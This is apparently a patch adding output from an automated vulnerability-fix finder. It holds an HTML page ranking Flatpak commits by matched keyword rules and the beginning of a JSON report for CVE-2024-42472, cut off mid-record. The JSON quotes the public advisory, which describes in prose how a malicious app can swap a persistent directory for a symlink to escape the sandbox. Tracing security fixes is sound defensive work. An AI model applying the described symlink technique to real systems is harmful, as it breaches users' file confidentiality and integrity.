    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 3271f9c25d63bdf71951f16724e0f079df349744 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: allow
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      utils: Export flatpak_get_compat_arch() This will allow its caller to be moved into repo-utils. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-utils-private.h + + common/flatpak-utils.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + utils: Move more repository functionality into repo-utils... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 06970e015f1abeeeecd065c8d36651d319beb5a9 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: build, file, commit
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      utils: Move more repository functionality into repo-utils Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + app/flatpak-builtins-build-bundle.c + + app/flatpak-builtins-build-commit-from.c + + app/flatpak-builtins-build-export.c + + app/flatpak-builtins-build-import-bundle.c + + app/flatpak-builtins-create-usb.c + + common/flatpak-repo-utils-private.h + + common/flatpak-repo-utils.c + + common/flatpak-utils-private.h + + common/flatpak-utils.c + + po/POTFILES.in + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + ref-utils: Move flatpak_get_arch_for_ref() to here The declaration... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 31590889f8900e0385b752ad5837326be42640d4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      ref-utils: Move flatpak_get_arch_for_ref() to here The declaration was already in flatpak-ref-utils-private.h. Fixes: 5dae1fc6 "Break out ref helper functions to separate file" Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-ref-utils.c + + common/flatpak-utils.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + common: Explicitly include ostree.h where needed A subsequent commit... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 485f6bc5c538f928d2b5bee0f8daca1b9b3cd860 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: commit, need, include
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      common: Explicitly include ostree.h where needed A subsequent commit will remove it from flatpak-utils-private.h. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-json-oci.c + + common/flatpak-prune-private.h + + common/flatpak-ref-utils.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + common: Break out the parts of flatpak-utils that deal with... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 14db9d48cf39a3d854459cafb3fc1309bedb71a2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: meson, build, file
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      common: Break out the parts of flatpak-utils that deal with FlatpakDir This breaks the circular dependency between flatpak-utils and flatpak-dir. There is still a circular dependency between flatpak-dir and flatpak-dir-utils, but I don't want to make flatpak-dir even larger. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + app/flatpak-builtins.h + + common/flatpak-dir-private.h + + common/flatpak-dir-utils-private.h + + common/flatpak-dir-utils.c + + common/flatpak-dir.c + + common/flatpak-oci-registry-private.h + + common/flatpak-repo-utils-private.h + + common/flatpak-run.c + + common/flatpak-utils-private.h + + common/flatpak-utils.c + + common/meson.build + + po/POTFILES.in + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + utils: Include flatpak-metadata-private.h instead of -run-private.h... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 722fec45818b2f39f74a91684610e054ea619c1e +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: avoid, include
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      utils: Include flatpak-metadata-private.h instead of -run-private.h This avoids a circular dependency between -run and -utils. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-utils.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + doc: Correct special value for flatpak config To include all... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 7c63731349b31b6763e6daef61b4a426c4964993 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: represent, intend, include, provide
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      doc: Correct special value for flatpak config To include all languages, the languages key must be set to `*all*`, not `all`. That was apparently intended to provide symmetry with how the value is represented in the output of `flatpak config`.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + doc/flatpak-config.xml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + flatpak-run-dbus: Allow two AT-SPI Registry signals in These signals... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1b4ff8d52607a3c951b507b1cc42f3f78fa5ee1f +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: change, require, allow, need, support, work
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      flatpak-run-dbus: Allow two AT-SPI Registry signals in These signals can be used by apps to monitor whether they need to emit signals on the a11y bus or not. This can very significantly reduce chattery on the a11y bus, and at least WebKit relies on these signals to be broadcasted in. The PR https://github.com/flatpak/xdg-dbus-proxy/pull/61 is required for this changeset to work as expected, but it can land independently as `--broadcast` is supported by xdg-dbus-proxy.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-run-dbus.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Hindi Translation Update Fixes and update for Hindi translation. + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + cee83455e609f424f4066d9f5e29ad299c9348d3 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: update
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Hindi Translation Update Fixes and update for Hindi translation.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + po/hi.po + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update Chinese translation + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 1dbaa59a85f5b104bf9d62682fc6bc5a20cdecb2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: update
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update Chinese translation
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + po/zh_CN.po + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + dir: Free the returned GVariant of g_dbus_connection_call_sync... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 24a4c2464ece30931b6b56c4a053682056deb3d4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: close
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      dir: Free the returned GVariant of g_dbus_connection_call_sync Closes: https://github.com/flatpak/flatpak/issues/5856 Fixes: 9532c8d3 ("dir: Reload DBus daemon config to ensure services get picked up") Signed-off-by: Sebastian Wick <sebastian.wick@redhat.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-dir.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + run: Support zoneinfo dirs from $TZDIR env + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + c12a5da619be8d9f592d559a9b63ce57fd2bcb6a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: support
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      run: Support zoneinfo dirs from $TZDIR env
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-run.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + common: Simplify tzdir logic in flatpak_get_timezone + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + +
    +
    +
    +
    + + + + +
    +
    +
    + 36b6c86065b85eee5236c00becc466da959d3624 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: time
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      common: Simplify tzdir logic in flatpak_get_timezone
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-utils-base.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Merge pull request #5800 from smcv/libglnx-into-subtree Convert... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 2 +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + + + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 9f1e6dc3706631f85955a384ce35f6d69c1067b0 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message references some github issue: 5800
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Merge pull request #5800 from smcv/libglnx-into-subtree Convert libglnx, variant-compiler into `git subtree`
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + run: Use CVE identifiers to reference former vulnerabilities These... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 31291dc9a693267ec557f16f3f962e386854cac9 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      run: Use CVE identifiers to reference former vulnerabilities These are more globally-recognised than GHSA IDs. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-run.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + tests: Constify test data where it's easy to do so Signed-off-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 17cd5a24e6dbc34fc7b9ba08fea0f72878005637 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      tests: Constify test data where it's easy to do so Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + tests/testcommon.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + run-dbus: Slightly increase const-correctness Signed-off-by: Simon... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 057c42fe2d308bccfb47efd99312b2252048f7a4 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      run-dbus: Slightly increase const-correctness Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-run-dbus.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Constify tables of immutable strings Signed-off-by: Simon McVittie... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 1aeb381e9189c4a49952e7c3fe699c3918ec0e9e +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      Constify tables of immutable strings Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-dir.c + + common/flatpak-run.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + table-printer: Slightly increase const-correctness Signed-off-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + fc1b32e97b1bfcea91bb861576671550f3b58a1e +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      table-printer: Slightly increase const-correctness Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + app/flatpak-table-printer.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + complete: Slightly increase const-correctness Signed-off-by: Simon... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + f7003e00c0e3297eee00271576449ad1154af821 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      complete: Slightly increase const-correctness Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + app/flatpak-complete.c + + app/flatpak-complete.h + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + test-run: Make it more obvious that we are setting G_DEBUG empty... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 0d61023710a7c6248f151863f1b8d892d952d224 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      test-run: Make it more obvious that we are setting G_DEBUG empty shellcheck warning SC1007. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + tests/test-run.sh + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + portal: Free the ops from flatpak_transaction_get_operations The... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 7b096b4929b52f511a1ca1de0ed69180e3d5dcbb +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      portal: Free the ops from flatpak_transaction_get_operations The returned list is transfer full so we use g_autolist for a deep cleanup.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + portal/flatpak-portal.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + revokefs: Clean up struct fuse_args with fuse_opt_free_args + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 3e2b76a351d94d04e3aeac2031a9ce02f8b0cedb +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      revokefs: Clean up struct fuse_args with fuse_opt_free_args
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + revokefs/main.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + utils: Remove flatpak-variant-private.h, no longer necessary... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 33212f5c119eb90519a543f3ecf767483485a9e6 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      utils: Remove flatpak-variant-private.h, no longer necessary Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-utils-private.h + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + utils: Move remaining direct ostree dependencies to repo-utils... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 87360c96e0a5db63919774ef8d550a564abcc4a5 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      utils: Move remaining direct ostree dependencies to repo-utils Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-bundle-ref.c + + common/flatpak-repo-utils-private.h + + common/flatpak-repo-utils.c + + common/flatpak-utils-private.h + + common/flatpak-utils.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + utils: Move more summary parsing into repo-utils Signed-off-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 1b85a2c090bd0f1567455df6bb675e3f2c5453f4 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      utils: Move more summary parsing into repo-utils Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-repo-utils-private.h + + common/flatpak-repo-utils.c + + common/flatpak-utils-private.h + + common/flatpak-utils.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + repo-utils: New header for some implementation details of a... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + 3c82620babb5da0cb015f6ddf8828053132e1ba7 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      repo-utils: New header for some implementation details of a repository This will reduce circular dependencies involving FlatpakDir. Signed-off-by: Simon McVittie <smcv@collabora.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + app/flatpak-builtins-remote-info.c + + app/flatpak-builtins-remote-ls.c + + app/flatpak-builtins-repo.c + + common/flatpak-dir-private.h + + common/flatpak-dir.c + + common/flatpak-oci-registry.c + + common/flatpak-remote-ref.c + + common/flatpak-repo-utils-private.h + + common/flatpak-transaction.c + + common/flatpak-utils.c + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + common: Add flatpak_get_tzdir() helper + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + Tag: 1.15.10 +
    +
    +
    +
    +
    + +
    +
    +
    +
    + + + + +
    +
    +
    + da71c451fc44248d1f1b471ce0f580689ea14254 +
    +
    + + + + Open commit + +
    +
    + +
      + +
    + +
    Commit message
    + +
      +
    • +
      common: Add flatpak_get_tzdir() helper
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + common/flatpak-utils-base-private.h + + common/flatpak-utils-base.c + +
    • +
    + + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + + + + + + \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.json b/prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.json new file mode 100644 index 000000000..db4d388a8 --- /dev/null +++ b/prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.json @@ -0,0 +1,2333 @@ +{ + "parameters": { + "vulnerability_id": "CVE-2024-42472", + "repository_url": "https://github.com/flatpak/flatpak", + "version_interval": "0.10.0:1.15.10", + "use_backend": "always", + "backend_address": "http://backend:8000", + "git_cache": "/data/gitcache", + "limit_candidates": 2000, + "use_llm_repository_url": true, + "enabled_rules": [ + "VULN_ID_IN_MESSAGE", + "XREF_BUG", + "XREF_GH", + "COMMIT_IN_REFERENCE", + "VULN_ID_IN_LINKED_ISSUE", + "CHANGES_RELEVANT_FILES", + "CHANGES_RELEVANT_CODE", + "RELEVANT_WORDS_IN_MESSAGE", + "ADV_KEYWORDS_IN_FILES", + "ADV_KEYWORDS_IN_MSG", + "SEC_KEYWORDS_IN_MESSAGE", + "SEC_KEYWORDS_IN_LINKED_GH", + "SEC_KEYWORDS_IN_LINKED_BUG", + "GITHUB_ISSUE_IN_MESSAGE", + "BUG_IN_MESSAGE", + "COMMIT_HAS_TWINS", + "COMMIT_IS_SECURITY_RELEVANT" + ] + }, + "advisory_record": { + "cve_id": "CVE-2024-42472", + "description": "Flatpak is a Linux application sandboxing and distribution framework. Prior to versions 1.14.0 and 1.15.10, a malicious or compromised Flatpak app using persistent directories could access and write files outside of what it would otherwise have access to, which is an attack on integrity and confidentiality.\n\nWhen `persistent=subdir` is used in the application permissions (represented as `--persist=subdir` in the command-line interface), that means that an application which otherwise doesn't have access to the real user home directory will see an empty home directory with a writeable subdirectory `subdir`. Behind the scenes, this directory is actually a bind mount and the data is stored in the per-application directory as `~/.var/app/$APPID/subdir`. This allows existing apps that are not aware of the per-application directory to still work as intended without general home directory access.\n\nHowever, the application does have write access to the application directory `~/.var/app/$APPID` where this directory is stored. If the source directory for the `persistent`/`--persist` option is replaced by a symlink, then the next time the application is started, the bind mount will follow the symlink and mount whatever it points to into the sandbox.\n\nPartial protection against this vulnerability can be provided by patching Flatpak using the patches in commits ceec2ffc and 98f79773. However, this leaves a race condition that could be exploited by two instances of a malicious app running in parallel. Closing the race condition requires updating or patching the version of bubblewrap that is used by Flatpak to add the new `--bind-fd` option using the patch and then patching Flatpak to use it. If Flatpak has been configured at build-time with `-Dsystem_bubblewrap=bwrap` (1.15.x) or `--with-system-bubblewrap=bwrap` (1.14.x or older), or a similar option, then the version of bubblewrap that needs to be patched is a system copy that is distributed separately, typically `/usr/bin/bwrap`. This configuration is the one that is typically used in Linux distributions. If Flatpak has been configured at build-time with `-Dsystem_bubblewrap=` (1.15.x) or with `--without-system-bubblewrap` (1.14.x or older), then it is the bundled version of bubblewrap that is included with Flatpak that must be patched. This is typically installed as `/usr/libexec/flatpak-bwrap`. This configuration is the default when building from source code.\n\nFor the 1.14.x stable branch, these changes are included in Flatpak 1.14.10. The bundled version of bubblewrap included in this release has been updated to 0.6.3. For the 1.15.x development branch, these changes are included in Flatpak 1.15.10. The bundled version of bubblewrap in this release is a Meson \"wrap\" subproject, which has been updated to 0.10.0. The 1.12.x and 1.10.x branches will not be updated for this vulnerability. Long-term support OS distributions should backport the individual changes into their versions of Flatpak and bubblewrap, or update to newer versions if their stability policy allows it. As a workaround, avoid using applications using the `persistent` (`--persist`) permission.", + "reserved_timestamp": 1722607984, + "published_timestamp": 1723746731, + "updated_timestamp": 1723752368, + "repository_url": null, + "references": { + "": 88, + "https://github.com/flatpak/flatpak/security/advisories/GHSA-7hgv-f2j8-xw87": 5, + "commit::7c63e53bb2af0aae9097fd2edfd6a9ba9d453e97": 5, + "commit::8a18137d7e80f0575e8defabf677d81e5cc3a788": 5, + "commit::db3a785241fda63bf53f0ec12bb519aa5210de19": 5, + "https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax": 4, + "https://github.com/flatpak/flatpak/releases/tag/1.14.10": 2, + "https://github.com/features/actions": 2, + "https://github.com/features/packages": 2, + "https://github.com/features/security": 2, + "https://github.com/features/codespaces": 2, + "https://github.com/features/copilot": 2, + "https://github.com/features/code-review": 2, + "https://github.com/features/issues": 2, + "https://github.com/features/discussions": 2, + "https://github.com/features": 2, + "https://docs.github.com": 2, + "https://skills.github.com": 2, + "https://github.blog": 2, + "https://github.com/enterprise": 2, + "https://github.com/team": 2, + "https://github.com/enterprise/startups": 2, + "https://github.com/solutions/industries/healthcare": 2, + "https://github.com/solutions/industries/financial-services": 2, + "https://github.com/solutions/industries/manufacturing": 2, + "https://github.com/solutions/ci-cd": 2, + "https://github.com/solutions/devops": 2, + "https://github.com/solutions/devsecops": 2, + "https://resources.github.com/learn/pathways": 2, + "https://resources.github.com": 2, + "https://github.com/customer-stories": 2, + "https://partner.github.com": 2, + "https://github.com/readme": 2, + "https://github.com/topics": 2, + "https://github.com/trending": 2, + "https://github.com/collections": 2, + "https://github.com/enterprise/advanced-security": 2, + "https://github.com/pricing": 2, + "https://github.com": 2, + "https://docs.github.com/site-policy/github-terms/github-terms-of-service": 2, + "https://docs.github.com/site-policy/privacy-policies/github-privacy-statement": 2, + "https://github.com/security": 2, + "https://www.githubstatus.com/": 2, + "https://docs.github.com/": 2, + "https://support.github.com?tags=dotcom-footer": 2, + "https://github.com/flatpak/flatpak/issues/5352": 1 + }, + "affected_products": [ + "bwrap", + "subdir", + "Flatpak", + "Linux", + "bind", + "flatpak", + "libexec", + "mount", + "Meson", + "bin" + ], + "versions": { + "version": "< 1.14.10", + "status": "affected" + }, + "files": [ + "without-system-bubblewrap", + "per-application", + "Dsystem_bubblewrap=bwrap", + "$APPID", + "Long-term", + "Dsystem_bubblewrap", + "with-system-bubblewrap=bwrap", + "flatpak-bwrap", + "command-line", + "build-time", + "bind-fd" + ], + "keywords": [ + "protection", + "framework", + "point", + "replace", + "bind", + "configuration", + "represent", + "libexec", + "intend", + "exist", + "release", + "default", + "meson", + "user", + "access", + "command", + "development", + "home", + "leave", + "provide", + "write", + "policy", + "instal", + "avoid", + "permission", + "linux", + "include", + "bubblewrap", + "subdir", + "require", + "line", + "datum", + "vulnerability", + "patch", + "scene", + "directory", + "attack", + "sandboxing", + "condition", + "distribution", + "follow", + "ceec2ffc", + "confidentiality", + "sandbox", + "branch", + "subproject", + "close", + "interface", + "term", + "start", + "mount", + "symlink", + "change", + "bwrap", + "98f79773", + "backport", + "version", + "source", + "code", + "allow", + "application", + "stability", + "flatpak", + "support", + "build", + "store", + "file", + "system", + "configure", + "time", + "integrity", + "commit", + "have", + "option", + "compromise", + "update", + "copy", + "subdirectory", + "need", + "workaround", + "parallel", + "race", + "mean", + "exploit", + "instance", + "work", + "distribute" + ], + "files_extension": [], + "has_fixing_commit": true + }, + "commits": [ + { + "commit_id": "7c63e53bb2af0aae9097fd2edfd6a9ba9d453e97", + "repository": "https://github.com/flatpak/flatpak", + "timestamp": 1723639470, + "hunks": 2, + "message": "persist directories: Pass using new bwrap --bind-fd option Instead of passing a /proc/self/fd bind mount we use --bind-fd, which has two advantages: * bwrap closes the fd when used, so it doesn't leak into the started app * bwrap ensures that what was mounted was the passed in fd (same dev/ino), as there is a small (required) gap between symlink resolve and mount where the target path could be replaced. Please note that this change requires an updated version of bubblewrap. Resolves: CVE-2024-42472, GHSA-7hgv-f2j8-xw87 [smcv: Make whitespace consistent] Co-authored-by: Simon McVittie Signed-off-by: Simon McVittie ", + "changed_files": [ + 